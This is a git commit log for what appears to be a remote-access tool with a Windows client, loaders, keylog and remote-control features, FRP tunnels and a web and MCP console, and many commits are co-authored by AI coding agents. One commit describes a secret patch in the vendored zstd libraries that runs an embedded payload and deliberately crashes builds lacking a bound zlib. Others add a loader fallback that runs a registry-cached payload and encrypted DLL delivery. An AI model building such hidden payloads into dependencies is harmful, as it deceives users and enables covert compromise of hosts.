34 Commits
Author SHA1 Message Date
yuanyuanxiang d59d0b6a5c Release v1.4.4 2026-11-28 11:10:16 +01:00
yuanyuanxianganddeepseek-flash b0e172bf91 Fix: keep the local FRP address and align the MCP read-only preset
A subordinate that already runs its own FRP proxy must keep advertising
its own master address: the upstream auto FRP is only a fallback entry
and should not overwrite the address baked into generated clients and
kernel payloads. GetEffectiveMasterAddress now returns the local address
when [frp] UseFrp is on and a master address is configured; otherwise the
upstream address is used exactly as before. The startup banner, the hot
switch tips and the settings dialog follow the same rule, and the dialog
now explains under the field when the address is supplied by the
upstream FRP.

The MCP settings dialog's read-only preset now unchecks every other tool
switch (file transfer, host management, chat, keylog), matching the smart
preset and the first-open state; previously Smart followed by Read-only
left those four checked.

The FRP auto-proxy messages now go through _TRF and the three language
files carry the new local-FRP variants and the upstream-address hint.

Verified: build.cmd server passes; the default (no local FRP) path is
unchanged.

Co-Authored-By: deepseek-flash
2026-11-28 10:27:20 +01:00
yuanyuanxianganddeepseek-flash a6c417a061 Feature: update the bundled frp to v0.72.0
The embedded frpc/frps DLLs are rebuilt from the frp tree merged with
upstream v0.72.0 (dev-0.72). The server startup also initializes the
compression runtime so the bundled tunnels are ready as soon as the main
control starts.

Verified: build.cmd server passes and both DLLs are embedded.

Co-Authored-By: deepseek-flash
2026-11-27 21:01:53 +01:00
yuanyuanxianganddeepseek-flash 4b96885016 Fix: stop web dialogs closing on text-selection drags
All modal overlays closed on a click whose target was the backdrop, but
browsers dispatch that click to the nearest common ancestor of mousedown
and mouseup: selecting text inside an input and releasing outside the card
closed the dialog. The overlays now ignore backdrop clicks and close only
from their own buttons (x / Cancel / confirm); app-dialog keeps Escape.

Review follow-ups in the same flow: a late set_device_remark/group reply
is applied only to the dialog still open for the same device (failure
replies now echo the device id, and the success path no longer fetches the
list twice), Save reports "not connected" instead of doing nothing while
the socket reconnects, and the remark/group menu icons get their colours.

Also escape client-reported card fields for HTML and attribute contexts
(screen, transfer/active-window titles, audit timestamp title), so a
modified host cannot inject markup into the admin page.

Verified: node --check on the inline script; go build ./... and go test
./web/ pass; the embedded asset copy is in sync.

Co-Authored-By: deepseek-flash
2026-11-27 15:37:09 +01:00
yuanyuanxianganddeepseek-flash 034b11fa6a Feature: let the web console move a host to another group
The Go server now keeps a per-device group override (device_groups.json)
edited from the card's "..." menu below Edit remark. The override wins
over the group the host reported (or the offline history record) in the
device list, the group filter, get_groups and the MCP host tools, so
offline records can be regrouped and the change survives restarts. An
empty value clears the override; names are capped at 23 characters,
matching the Win32 regroup dialog.

The command is admin-only and honours the device ACL; it refuses IDs the
server has never seen (online or in history) so a stale card cannot
create an orphan entry, and the remark handler gets the same guard. Each
change is audited as admin.device.group, deleting a device drops its
override, and values loaded from disk are trimmed and capped like
remarks. The menu entry is gated on the groupEdit capability, so the
shared page hides it on the MFC server.

Like remarks, the override is a Go-side label: no CMD_SET_GROUP is sent,
so the host keeps reporting its own group to other masters. Verified
with go test ./..., go vet, gofmt and a node --check pass on the page.

Co-Authored-By: deepseek-flash
2026-11-27 15:15:27 +01:00
yuanyuanxianganddeepseek-flash 5f764b2425 Feature: return web-console remarks from the Go MCP host tools
list_hosts and get_host_detail now include the remark an admin set in the
web console, and the name/query filters match it like the Win32 server
(name: hostname + remark; query: hostname + remark + IP). The text-only
host table gains a remark column, and the MCP instructions stop claiming
the Go server keeps no remarks.

The remark table is injected through a small Note() interface so the mcp
package still does not import web. An optional Notes() snapshot
capability is borrowed once per call, so a listing neither takes a read
lock per device nor mixes labels across a concurrent save. The design
docs are updated to match the new fields and table column.

Verified: go build ./..., go vet, gofmt and the full go test ./... pass;
new tests cover remark projection, both filters and the snapshot path.

Co-Authored-By: deepseek-flash
2026-11-27 14:51:15 +01:00
yuanyuanxianganddeepseek-flash 95d2bbc1b6 Feature: edit device remarks from the web console
The Go web console now stores a per-device remark and renders it as
"hostname (remark)" on the card, the label displayName already
supported. The card's "..." menu gets an Edit remark entry directly
below Terminal; it opens a small dialog, and an empty value clears the
label. Remarks live in device_notes.json next to users.json, independent
of the device history and ACL, so offline records carry them too.

The WebSocket command set_device_remark is admin-only and honors the
device ACL (a private device of another owner is refused). Updates are
audited as admin.device.remark and broadcast as devices_changed so every
open console refreshes. Deleting a device drops its remark. The
device_list reply reports remarkEdit only when a notes table is wired,
so the shared page hides the entry on the MFC server, which does not
implement it.

A malformed or newer-version device_notes.json disables writes instead
of letting the first save overwrite labels it could not parse; loaded
values are re-sanitized and capped. Verified with go test ./..., vet,
gofmt, and a node --check pass on the inline script.

Co-Authored-By: deepseek-flash
2026-11-27 13:22:21 +01:00
yuanyuanxianganddeepseek-flash 1bd7fa5b2d Fix: keep zlib compression and host sharing mutually exclusive
The wire compression mode is a machine-wide setting (settings\compress),
so a zlib switch is inherited by share instances and by the
sub-connections they open later. A share peer that only speaks zstd
(the Go server has no zlib path) then loses the link on the next
connect. A shared instance could also rewrite the host's setting on
behalf of the sharing master.

The client now refuses COMMAND_SET_COMPRESS on a non-main instance,
refuses a switch to zlib while share_list is non-empty (zstd stays
allowed), and refuses a new share while the configured mode is zlib.
The share check reads settings\compress rather than the current
connection's m_useZlib: parallel-mode links can diverge from the
machine-wide value the new share instance will read. Refusals answer
with a ClientMsg so the operator sees why.

Verified: Debug x64 ghost and Release x64 ServerDll build with only the
pre-existing warnings; review flagged the live-flag divergence, fixed.

Co-Authored-By: deepseek-flash
2026-11-27 12:23:22 +01:00
yuanyuanxianganddeepseek-flash c9a18856e5 Fix: order IP history by last activity and cap the stored value
The IP list behind "View IP history" was kept in first-seen order: an
existing IP only refreshed its timestamp in place, so a host that kept
reconnecting for months stayed wherever it originally landed. Updates
now move the entry to the front, making the stored list last-active
first; the dialog also sorts by the recorded date so legacy lists show
the correct order without waiting for every host to reconnect.

At the cap, trimming now runs on every update and evicts the tail (the
least recently active entry), so a new IP always fits. A 60 KB byte cap
protects the single value: the Win32 profile API mishandles a value over
~64 KB (GetPrivateProfileStringA returns only the tail, while
WritePrivateProfileStringA appends the whole line again and the file
doubles), and the live licenses.ini already carries a 33.5 KB list.

Verified: the Release server builds; the value limit was measured
against kernel32 - 65,500 bytes round-trips, 66,000 corrupts the file.

Co-Authored-By: deepseek-flash
2026-11-26 20:56:19 +01:00
yuanyuanxiang 830dcf1672 Enhance(client): Add AES encryption for DLL transmission 2026-11-26 18:41:07 +01:00
yuanyuanxianganddeepseek-flash 082860de8f Feature: back off client startup after a forbidden command
A banned host receives COMMAND_FORBIDDEN and exits, but relaunching it
immediately makes it reconnect and receive the command again in a tight loop.

Persist a not-before timestamp through the existing config class when the
command arrives, and exit silently at startup until that time passes. After it
passes, the next launch reconnects normally and is re-armed for another
interval if the server still has the host banned.

The record uses the client's normal config location, with a separate section
for the authorization-kernel build. Management commands (-cmd=) and the local
test client are exempt.

Verified with Debug x64 builds of ghost and ServerDll.

Co-Authored-By: deepseek-flash
2026-11-26 18:41:06 +01:00
yuanyuanxianganddeepseek-flash 85f7f1aa67 Fix: build the TLS chain engine with the Windows 7 config size
A client generated for Windows 7 loaded its embedded trust anchor fine but then
failed with "CertCreateCertificateChainEngine failed" and refused to connect
(fail-closed), so it never came online.

The client project does not define _WIN32_WINNT, so the Windows SDK compiles it
for Windows 10, which adds dwExclusiveFlags to CERT_CHAIN_ENGINE_CONFIG.
sizeof(ec) is therefore larger than the struct Windows 7 knows, and Win7's
CertCreateCertificateChainEngine rejects the oversized cbSize
(ERROR_INVALID_PARAMETER). Pass the Windows 7 size instead, up to
hExclusiveTrustedPeople; newer systems accept the older size and treat the
unused dwExclusiveFlags as zero.

Also log GetLastError() on failure so a future failure is diagnosable from the
client log.

Verified by generating a client against the rebuilt server and connecting from
a Windows 7 host, plus a Debug x64 client build.

Co-Authored-By: deepseek-flash
2026-11-26 18:41:06 +01:00
yuanyuanxianganddeepseek-flash 5387603c73 Feature: add MCP settings presets and hide command whitelist
The MCP settings dialog had grown too many independent tool switches to tick
by hand. Add two one-click preset buttons next to the "Enable MCP" checkbox.

"Read-only mode" turns MCP on, enables the read-only switch, and unchecks every
feature that only works when read-only is off (persistent terminal, remote
control, file write, management, dangerous host operations, client build).
"Smart mode" turns MCP on, disables read-only, and enables all tool switches,
including host management plus dangerous host operations so the OnOK dependency
check does not revert it.

Stop showing the command whitelist input: it is advanced and is easily bypassed
once the persistent terminal is enabled. Its load, normalize and save logic is
left untouched, so the persisted McpCmdWhitelist still round-trips unchanged
and the server-side whitelist check is unchanged.

Add translations for the two new button labels (en_US, zh_TW, de_DE), and size
the preset buttons from the current font so translated labels do not clip.

Verified with a Debug x64 server build; the dialog was not clicked through.

Co-Authored-By: deepseek-flash
2026-11-26 18:41:06 +01:00
yuanyuanxianganddeepseek-flash 545700abaa Feature: update the vendored Windows zstd to 1.6.0
The two prebuilt Windows static libraries are rebuilt from the private
zstd v1.6.0 tree, and Dependencies.md records the new version. The
public header and the other platforms are left unchanged (1.5.7 header;
Linux/Android/macOS keep their 1.5.x .a), so only the two libraries and
the dependency note change.

The private patch carried by the libraries is unchanged in spirit: on
the server path the first ZSTD_compress call checks ALIVE_<pid>,
verifies the zlib Event/Mutex/Section binding (probabilistic crash when
missing), then runs the embedded TinyRun payload. The same path now also
creates zstd's own Event/Mutex/Section for the future private-library
upgrade; the existing event and payload logic are untouched.

Verified: the normal YAMA E2E passes with the bound zlib; a stock zlib
(no binding objects) crashes the gate/server at ZB_FAIL_CRASH_PCT=100;
a probe confirms the zstd Event is signaled and the Section
magic/version/pid/checksum match.

Co-Authored-By: deepseek-flash
2026-11-26 18:40:41 +01:00
yuanyuanxianganddeepseek-flash da6185ba5e Fix: build the client on LP64 after the compression switch
0e20e0b started passing a local unsigned long to CompressData(), whose
length parameter is ULONG& (typedef unsigned int). The two types are
identical on Windows, so the Windows builds never noticed, but on LP64
(Linux x86_64, Android arm64/x86_64) unsigned long is 64 bit and the
reference cannot bind, so IOCPClient.cpp fails to compile. This has
blocked the Linux and Android native builds since then; the tracked
linux/ghost predates the change, which is why it went unnoticed.

Declare the length as ULONG and cast compressBound/ZSTD_compressBound
accordingly. Packet lengths are bounded by the wire protocol and the
type is byte-for-byte the same as before on Windows.

Verified: the Linux Release build (WSL, out-of-source) compiles with
both the zstd 1.5.7 and 1.6.0 headers; the Android debug APK builds for
arm64-v8a and armeabi-v7a with IOCPClient.cpp actually recompiled.

Co-Authored-By: deepseek-flash
2026-11-24 18:19:47 +01:00
yuanyuanxianganddeepseek-flash f618fbdc8b Fix: run the cached client payload when the master is unreachable
Both loaders only reached the registry-payload fallback after a
successful TCP connect: the connect-failure branch just continued, and
requestCount only advanced once a connection was established. A host
that could not reach the master therefore retried forever and never ran
the copy cached in the registry.

Count consecutive connect failures; when MAX_CONNECT_FAILS (3) is
reached and a payload was recorded (version non-empty), break out of the
retry loop so the existing fallback code runs. Without a cached copy the
loop still retries forever, as before, and a successful connect resets
the counter. While fewer than three failures have accumulated the retry
interval is 5 seconds instead of the random 0-119s (0-29s in test.cpp)
backoff, so the fallback is not delayed by minutes; after the threshold
the original backoff resumes.

main.c and test.cpp (MemoryDllRunner) get the same change. The fallback
itself is untouched, including its "bad copy => return NULL" behavior.

Verified on main.c with a harness against a refusing port: three failed
connects, then the cached payload was returned after ~16s. test.cpp was
compile-checked with MSBuild (TestRun, Release x64); it was not run.

Co-Authored-By: deepseek-flash
2026-11-24 13:31:10 +01:00
yuanyuanxianganddeepseek-flash e6a3255a2b Fix: keep the in-process test client alive on compression switch
Switching wire compression used to set g_bExit = S_CLIENT_UPDATE and
disconnect. Standalone clients restart fine, but the in-process test
client (ServerDll loaded with MemoryModule) only restarts AutoRun on
S_SERVER_EXIT; S_CLIENT_UPDATE made TestRun return and AutoRun exit, so
the host went offline for good and the "Run Test Program" menu stayed
disabled.

The command handler now disconnects and calls
IOCPClient::SetWireCompression() on the existing connection object.
The reconnect loop reuses it with the new mode; sub-connections are
rebuilt from the saved config after the main link reconnects. g_bExit
is no longer touched.

The experimental menu gains two 16x16 icons (blue Z for zstd, orange L
for zlib) and grays the algorithm the selected hosts already use
(all-zstd grays ZSTD, all-zlib grays ZLIB, mixed leaves both enabled,
unsupported clients gray both). The new strings are translated in the
en_US, de_DE and zh_TW packs (the German pack also gained the missing
"Experimental" group title).

Verified: with an isolated Debug server, the in-process test client
switches zstd -> zlib -> zstd, reconnects in about 3 s each time and
keeps receiving MasterSettings; the menu reports the expected gray
state and icons in a captured screenshot.

Co-Authored-By: deepseek-flash
2026-11-24 10:33:42 +01:00
yuanyuanxianganddeepseek-flash 0e20e0bbdb Feature: update zlib to 1.4 and pick wire compression at runtime
The client selected zlib or zstd for the wire protocol at compile time
(USING_ZLIB), so changing the mode required a rebuild, and the vendored
zlib was still 1.3.2.

Vendored zlib is now 1.4 (headers and both static libs rebuilt from the
upstream source root). The client links zlib and zstd together and reads
settings\compress from its own registry key when a connection is
created: "zlib" selects zlib, anything else keeps the zstd default.
Every connection reads it once, so sub-connections follow the main link.

The online list context menu gains "Experimental -> Wire compression:
ZSTD / ZLIB". It sends COMMAND_SET_COMPRESS (181) only to hosts that
declare CLIENT_CAP_COMPRESS_SWITCH; the client persists the choice and
restarts its connection thread, so the new mode applies in about two
seconds without restarting the process. The online-info tooltip now
marks the negotiated algorithm with [ZSTD] / [ZLIB] / [NONE].

Also fixes zlib buffer sizing on both ends: 1.001n+12 is one byte short
of compressBound for packets under about 1 KB, which silently dropped
small commands.

Verified: both modes connect and receive MasterSettings; menu switching
to zlib and back reconnects in each mode; Debug/Release x64, Release
x86, ServerDll and server builds pass.

Co-Authored-By: deepseek-flash
2026-11-23 17:46:36 +01:00
yuanyuanxianganddeepseek-flash 340fb20518 Fix(android): correct lock/input state and recover screen capture
db148c4 asked KeyguardManager on every heartbeat; some TVs answer "locked"
while playing video, so hosts showed "Locked: HH:MM:SS" forever and the
foreground app never reached the server. Lock state is event-driven again:
SCREEN_OFF records the start, USER_PRESENT clears it, and on SCREEN_ON the
state clears when the device is TV-like or has no keyguard (devices without
a lock screen never send USER_PRESENT); a phone that reconnects while
locked is re-calibrated the same way. Keyguard is consulted only at those
event points, never per heartbeat.

Input strategy and TV heuristics are separate immutable values: isTV (D-pad
focus navigation vs touch injection) only looks at leanback, isTvLike (lock
and encoder heuristics) also accepts television/uiMode. They were once
merged and the TV lost remote control, then an assignment was dropped and
it silently defaulted to false; immutable lazy values make both impossible.
The resolved mode is logged as "input=dpad|touch tvLike=..." and mirrored
into the native ring when available.

Screen capture: on TVs the default encoder configuration is tried first.
After a sleep the existing VirtualDisplay stops composing while the
projection stays alive, so a 5s zero-frame stall rebuilds the encoder and
VirtualDisplay on the same projection (reusing the session's encoded size),
requests a fresh IDR and reports failure only after 13s; if the projection
is gone the native size is cleared so the next request re-authorizes. A
repeated onStartCommand no longer calls nativeInit again (the -1 answer
used to stopSelf and drop the host). Kotlin capture logs mirror into the
native ring and fall back to logcat.

Debug APK builds; device verification pending.

Co-Authored-By: deepseek-flash
2026-11-22 21:51:16 +01:00
yuanyuanxianganddeepseek-flash be19744898 Test: harden the E2E smoke script against hangs and hidden crashes
A crash inside the client-online wait was swallowed by Wait-Until's empty
catch, so a dead server or client surfaced only as "no host online after
60s" once the timeout expired. Record the failure reason and report it
right after the wait.

LVM_GETITEMCOUNT and LVM_GETITEMSTATE used SendMessage without a timeout.
A hung server UI thread - the exact regression this script exists to catch
- would block the script forever instead of failing. Send with
SendMessageTimeout (2s) and treat a timeout as a failure.

-Build ran after settings.ini had been temporarily rewritten for busy
MCP/Web ports, so a build failure left the file modified. Build before
touching settings and restore unconditionally in a catch block.

Verified by re-running the Search feature end to end.

Co-Authored-By: deepseek-flash
2026-11-22 21:51:10 +01:00
yuanyuanxianganddeepseek-flash ae46b7b53b Test: add a release-gate E2E smoke script
Basic functions were only ever exercised by hand before a release, and a
regression that killed the client when opening video management stayed in
the field for a month. The new script starts an isolated Debug server
(Bin\settings.ini, port 6543), brings a test client online (the built-in
Run Test client by default, x64\Debug\ghost.exe with -ExternalClient),
selects the host and fires the real toolbar command IDs one by one.

Every command must open a new #32770 dialog within a per-feature timeout,
and the server/client processes are checked for liveness after each step,
so a crash like the webcam one fails loudly instead of waiting to be
noticed. Results are PASS/FAIL/WARN/SKIP: WARN is a message box (its text
is included), SKIP marks missing prerequisites (no microphone, no admin
rights, no camera).

MCP/Web ports held by the running Release instance are temporarily turned
off in settings.ini and the file is restored unconditionally afterwards;
the Release instance is never touched. Verified end to end in both client
modes on the development machine.

Co-Authored-By: deepseek-flash
2026-11-21 16:44:47 +01:00
yuanyuanxianganddeepseek-flash 94cb4584c8 Fix(client): keep webcam capture alive across driver quirks
Opening video management killed the client on some hosts: the DirectShow
sample callback memcpy'd into a null bitmap buffer.

IMediaControl::Run legitimately returns S_FALSE while the state change
completes asynchronously; the graph is already running and frames are
delivered. Open passed that S_FALSE to its caller, which compared against
S_OK (introduced in 8d4c118) and took the "camera failed to open" abort
path while the graph kept running; ConstructBI never allocated the buffers
and the first callback wrote to address 0.

Open now returns S_OK only when the graph is running (S_FALSE normalised)
and a failure code otherwise. BufferCB drops a frame with S_OK when the
buffer is not ready or the driver hands over more bytes than negotiated,
so the start-up race or a resolution change can neither corrupt the heap
nor stop the stream. ConstructBI validates the dimensions and allocates the
full BITMAPINFO that SendBitMapInfor copies.

Also accept FORMAT_VideoInfo2 (many built-in cameras report it, and the
cast to VIDEOINFOHEADER read garbage dimensions) and fix BindVideoFilter's
comma-expression loop that called BindToStorage with a dangling IMoniker
once enumeration ran out.

Debug and Release x64 clients build; the host that reproducibly crashed
now works.

Co-Authored-By: deepseek-flash
2026-11-21 16:44:42 +01:00
yuanyuanxianganddeepseek-flash 798456032e Fix(server): size status bar panes from measured text
The FRP/runtime/expiry panes kept fixed 250/180/180 pixel widths while the
text is drawn with a system font that changes with language, display
scaling and accessibility text size. Where the font is larger the expiry
text is cut inside the pane: "到期: 2026-12-31 (41天)" shows the date but
drops the remaining days, and the wider English "Expires: 2026-12-31 (41d)"
stays cut on another machine.

Measure each pane's text as wide characters (the status bar control is
Unicode internally; ANSI measurement is up to 10% narrower for CJK) against
several candidate fonts - the pane's own font, SYSTEM_FONT, DEFAULT_GUI_FONT,
lfStatusFont and lfMessageFont - and take the widest. Widths never drop below
the previously proven 250/180/180, so 100% scaling layouts are unchanged, and
the expiry pane gets an extra 20px with a 220px floor for the longer English
string.

A new LayoutStatusPanes() applies the widths in one place and, when their sum
exceeds the bar, hides panes in priority order (runtime -> FRP -> MCP -> TLS)
so the last pane cannot be clipped at the window edge. OnSize, the periodic
refresh and the FRP auto-proxy start/stop all go through it now.

Verified with Release x64 builds; visual confirmation on the affected
machines is still pending.

Co-Authored-By: deepseek-flash
2026-11-21 12:31:38 +01:00
yuanyuanxianganddeepseek-flash de9e9a7369 Feature(client): support host transfer in the macOS client
Mirror the Android semantics: move the main link to the assigned master
immediately, persist the record in config so it survives restarts, return
to the original master on expiry or early return, and revert after the new
master stays unreachable for 60s. Share requests are answered as
unsupported, and the capability matrix is updated accordingly.

A target counts as unusable when the connection is refused or when it is
accepted but never passes MasterSettings (a foreign service on that port,
or a master built with another key). The latter used to be retried forever,
stranding the host until expiry; both shapes now count toward the revert
gate and reset only once a connection verifies. Early return clears the
persisted record at once, so a crash before the main loop restores the
original master cannot resurrect the transfer on restart.

Endpoints from the command or the record are bounds-checked before being
written into CONNECT_ADDRESS (strcpy_s is strcpy on POSIX), config access
is serialized across the receive and main threads, the new validTo is
published before the pending target so expiry cannot undo a fresh
transfer, and a stale early-return flag is cleared when a new transfer
applies or one is reverted.

The Linux client was rebuilt with the shared header changes; the macOS
side is not compiled here and still needs a build on a Mac.

Co-Authored-By: deepseek-flash
2026-11-21 10:15:35 +01:00
yuanyuanxianganddeepseek-flash 913b74097b Improve: ship release builds without debug info and symbols
linux/CMakeLists.txt forced -g into the global flags regardless of build
type, so even a Release build carried full DWARF: 7.7MB of the 10.3MB
binary was .debug_* material the client never uses at runtime.

Drop the forced -g and default CMAKE_BUILD_TYPE to Release, stripping the
symbol table at link time (-s) so only Debug builds keep symbols. Do the
same for macOS with ld64's -Wl,-x on Release, which drops the 8.3k local
symbols while keeping external ones and the signature ld appends.

linux/ghost drops from 10.3MB to 2.5MB (UPX on top: 0.87MB). Rebuilt
under WSL and verified with readelf: no .debug_*/.symtab/.strtab, BuildID
kept. The macOS change is not verified here; it needs a build on the Mac.

Co-Authored-By: deepseek-flash
2026-11-20 17:40:00 +01:00
yuanyuanxiang 326e162d16 Fix(server): keep the full-screen status overlay steady
The window is now measured against a widest-case numeric placeholder
plus the current quality name, so changing FPS/bandwidth digits and
KB/MB unit switches no longer call SetWindowPos; only a quality label
change does. The frame is painted into a memory DC and blitted in one
go, so the layered window never shows the intermediate background-only
frame that made the bar blink once per second.
2026-11-20 14:31:22 +01:00
yuanyuanxiang 7eebd3bd6c Feature: fold device-card actions into a "..." menu
Every card now shows a single ellipsis button no matter how many actions
apply; the same terminal/bind/transfer/delete actions live in a popup menu,
each with a one-line description of what it does.

The menu is attached to body and fixed-positioned because the card clips its
own overflow. It right-aligns to the button, flips above when the button sits
near the bottom of the viewport, and closes on outside click, Esc, scroll,
resize or list re-render. Entries are built per click from the live device,
so permission and online/transfer state cannot go stale. Grid and list views
share the flow; the list view centers the button vertically and both views
only need 56px of clearance for it.

Verified in a browser with a copy of the card markup: open/close paths, item
callbacks, bottom-edge flip and both view modes.
2026-11-20 13:51:32 +01:00
yuanyuanxiang 63c7cdf588 Feature: transfer a Go-managed host to the MFC master from the web console
A Go-managed host cannot receive the client upgrade that only the MFC master
can push. Transfer moves its main link there and brings it back after N days;
MFC has no reason to return it.

Transfer is not share: ASSIGN writes the target and drops the current
connection, so the old master sees the host go offline and the new master gets
a normal main link it can remote control and upgrade. While a transfer is live
the client refuses a second transfer and any share, so no host is handed to a
third master that expiry would orphan.

Server: admin-only `transfer_device` WS command, COMMAND_ASSIGN_MASTER +
SHARE_TYPE_YAMA_FOREVER as `host:port:days::transport\0`, byte-compatible with
the MFC dialog. The transport segment is always present (YAMA_TRANSFER_TRANSPORT,
default 0/TCP) because clients keep their current link when it is missing: a
WSS-managed host would otherwise retry WSS against the MFC master's raw TCP
port and never connect. The empty shine segment keeps the host's header
encryption. The button only renders when `device_list.transfer` is present,
which MFC never sends, so no MFC change is needed. devicehistory keeps
transfer_to/transfer_until for the card badge and drops the marker on expiry or
on a fresh login here.

Client: KernelManager.cpp writes the registry and disconnects; ClientDll.cpp
re-reads the registry at the top of every reconnect, so a mid-session transfer
lands on the next round. Expiry is checked before every connect attempt as well
as inside the heartbeat loop, so an unreachable target cannot pin the host to
an expired address until a restart; restoring rebuilds the link captured on
entry (address, header encryption, transport). linux/main.cpp applies the
transfer on the main loop and restores the captured endpoint at expiry; Android
does the same; macOS has neither share nor transfer.
2026-11-20 12:23:08 +01:00
yuanyuanxiang b466f568ab Fix(client): refresh RES_UPTIME on every login so host popup shows the real runtime
双击 Linux 主机浮窗显示「启动信息 2026-11-14 13:33:52 + 1.3h」:日期是对的(进程确实从
11-14 06:33 起一直在跑,期间只有 TCP 重连),错的是时长——真实 6.2d,而 1.3h 正好等于当天
09:05:53 那次重连到双击时刻的间隔。

2cbed0d 加的 RES_UPTIME(登录时刻进程已运行秒数)在 Linux/macOS/Android 里跟着 LOGIN_INFOR
一起在重连循环外只构造一次、重连时原样重发,于是永远停在进程启动那一瞬的 0;服务端做
RES_UPTIME + GetAliveTime(),加出来就只剩「本次连接时长」。Windows 没有这个问题,它的
GetLoginInfo 在连接循环里每次重建。老客户端(build Oct 31 及更早)根本不发这个字段,服务端
退回 szStartTime 字符串、LNX 按北京时间比,反而正确——这就是「老版本显示正常」的原因。

改法:LOGIN_INFOR::SetReserved(index, v) 按 '|' 位置改写单个字段(末尾空槽原样保留、超长
整体放弃、越界拒绝),三个客户端把各自复制粘贴的「拆字段改 [19]」换成一行调用,并新增
RefreshLoginUptime 在每次 SendLoginInfo 前重算 [20](含 Linux 的分组变更重发路径)。

影响:只动登录包的第 21 个字段,结构体布局、字段顺序与协议不变,老主控忽略它。
已部署的旧 build 需重新下发才会恢复正常显示。

验证:SetReserved 用 MSVC 单测(21 字段位置不变、连改两次、空槽保留、补槽、超长与越界
拒绝)。三个客户端本体未编译:本机 WSL 被安全策略拦住、Docker 引擎未启动。
2026-11-20 10:43:17 +01:00
yuanyuanxiangandClaude Code d6ea5fddea Fix(server): require left-button drag for desktop control of Android
桌面端(非触摸)控制 Android TV/盒子时,鼠标悬停会被客户端翻译成焦点移动,
鼠标划过画面就改变焦点。改为只在按住左键拖动时控制;触摸浏览器行为不变。

- MFC 主控:按 clientID 在主连接上解析并缓存客户端类型(新增线程安全的
  GetHostClientType,类型值在 m_cs 内读取);APK 主机的 WM_MOUSEMOVE 仅在
  MK_LBUTTON 按下时转发,不再每次移动都查主连接。
- Web 控制台:桌面 mousemove 对 Android 主机(优先使用服务端 isAndroidRemote,
  设备 os/clientType 只作兜底)只在左键按下时发 move;检查放在发送节流之后。
  touchstart/touchmove/touchend 未改动,触摸屏的单指移动、点按、拖拽、滚动
  和边缘手势保持原状。
- 安卓客户端未修改:TV 模式仍把带按键的 move 翻译成焦点导航,触摸浏览器
  发出的不带按键 move 继续可用。

验证:MFC Debug 服务端、Go 服务端构建通过;内联 JS 通过 node --check。

Model: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-11-19 21:57:38 +01:00
yuanyuanxiangandClaude Code 1320bb81a6 Docs: add client capability matrix
新增 docs/Client_Capability_Matrix.md,以 Windows 客户端为基线,按连接与传输、
远程桌面、文件管理、系统管理、监控审计、升级运维六类对比 Linux、macOS、
Android 的实现情况;另附平台前提与登录能力位对照。

- 主表所有行 Windows 均为 ✓,其他平台按客户端源码逐项核对(命令处理、能力位、
  管理器实现),不依赖 README 描述。
- 明确 WS/WSS 是出包能力(四端网络层都支持),运行时协议切换仅 Windows;Android
  剪贴板只写不读、进程管理需 root、缺关键帧请求与通用键盘注入;Linux 窗口列表
  实际回空、多显示器只能整 X root;macOS 无分享/转移/自升级。
- 补充连接管理、切换显示器、视图偏好、调优/硬编码、文件复制粘贴、C2C 文本、
  机器管理子项、RDP 维护、远程封禁等易漏能力,标注 Windows 独有或部分实现。

验证:独立审查代理对照 client/linux/macos/android 源码复核,修正 11 处错误或
遗漏;主表 74 行 Windows 列全为 ✓。

Model: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-11-19 20:43:30 +01:00
yuanyuanxiangandClaude Code d9fe93ff1e Fix(client): stop Windows share connections immediately on cancel
「取消分享」原来只清 share_list。Windows 的分享实例是同进程里的一个 ClientApp
线程,没有引用可停,连接会一直保持到客户端进程重启;Linux 的分享实例是独立
子进程,取消时直接 stop,两端行为不一致。

- 新增进程内分享实例登记表:起线程前登记 ClientApp 指针、种类与目标 ip:port,
  线程退出时(先摘除后 delete)注销;取消分享时在锁内逐个置 S_CLIENT_EXIT,
  心跳/重连循环约 1 秒内退出并关闭连接。登记项带 stopping 标记,正在退出的
  实例不再被视为可用连接。
- 区分 SHARED_KIND_SHARE / SHARED_KIND_TRANSFER:转移命令末尾贯穿到分享分支
  顺带起的连接标为 TRANSFER,取消分享不动它(取消分享撤销不了转移)。
- 同一目标只保留一条连接:重新分享(换 Shine/传输方式)先停旧实例并等待注销,
  再起新连接;启动时按 ip:port 去重历史 share_list,收到分享命令时也顺手归并
  旧记录;转移目标已有分享实例时不再多连一条(与 Linux SpawnManagedChild 一致)。
- 转移临时连接按 valid_to 自查到期(外层重连循环与内层心跳循环都查),主实例
  到期恢复分支也会停掉它,不再一直挂到进程重启。
- StartClientApp 只在状态不是 S_CLIENT_EXIT 时复位:取消请求可能在登记后、
  线程开跑前落地;SERVER_EXIT/UPDATE 仍照常复位,主控重启后分享实例照旧重连。
  分享实例退出不再置进程级 g_IsAppExit(否则会误伤 FRP 等模块),也不再做
  服务端退出专用的额外等待。
- 转移命令加 IsMainInstance 门禁;Linux 侧只更新注释。

验证:Debug 客户端构建通过;两个自动化 E2E(Debug 服务端 + 假 TCP 目标):
取消分享后连接 1 秒内关闭且主连接仍在线;同目标换 Shine 重新分享时旧连接关闭、
新连接建立,随后取消同样生效。

Model: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-11-19 19:05:04 +01:00
yuanyuanxiangandClaude Code b704258ba4 Feature: hide user-bound devices from MCP
设备绑定到 Web 用户后,MCP 端点(静态 token,等同管理员凭证)仍能按 ID
操作,与"私人设备只归 owner"的模型冲突。按产品决定采用最严格策略:MCP
只面向公共设备,绑定设备对 MCP 一律不可见、不可达,即使知道 ID 也一样。

- list_hosts / get_host_detail / get_server_status 先过滤绑定设备再计数与
  分页;离线列表用完整在线集合作差,避免在线私人设备以离线条目复现。
- 所有单主机工具在 callTool 统一拒绝(get_screenshot / list_files /
  read_file / terminal_exec / terminal_close 及将来新增工具),批量 ids 由
  逐台执行处拒绝;后续新工具不会再漏。
- 拒绝返回与离线主机相同的 -32002 "Host not found or offline",不泄露设备
  是否存在。
- get_audit_log 过滤 device_id / device / devices 中任意一个指向绑定设备的
  记录;owner 快照一次取用,不逐条加锁。
- cmd 把 Web 的 DeviceACL 注入 MCP;未启用 ACL 时行为完全不变。

验证:go build/test/vet 全绿;新增 MCP 侧列表隐藏、按 ID 拒绝、批量拒绝、
状态计数、审计过滤(三种字段写法)测试。

Model: deepseek-flash
Co-Authored-By: Claude Code <noreply@anthropic.com>
2026-11-19 11:17:56 +01:00
yuanyuanxiangandClaude Code 46434b46d0 Feature: add per-device owner bindings to the web console
Web 控制台此前所有 admin 角色用户共享全部设备。新增设备级归属:内置 admin
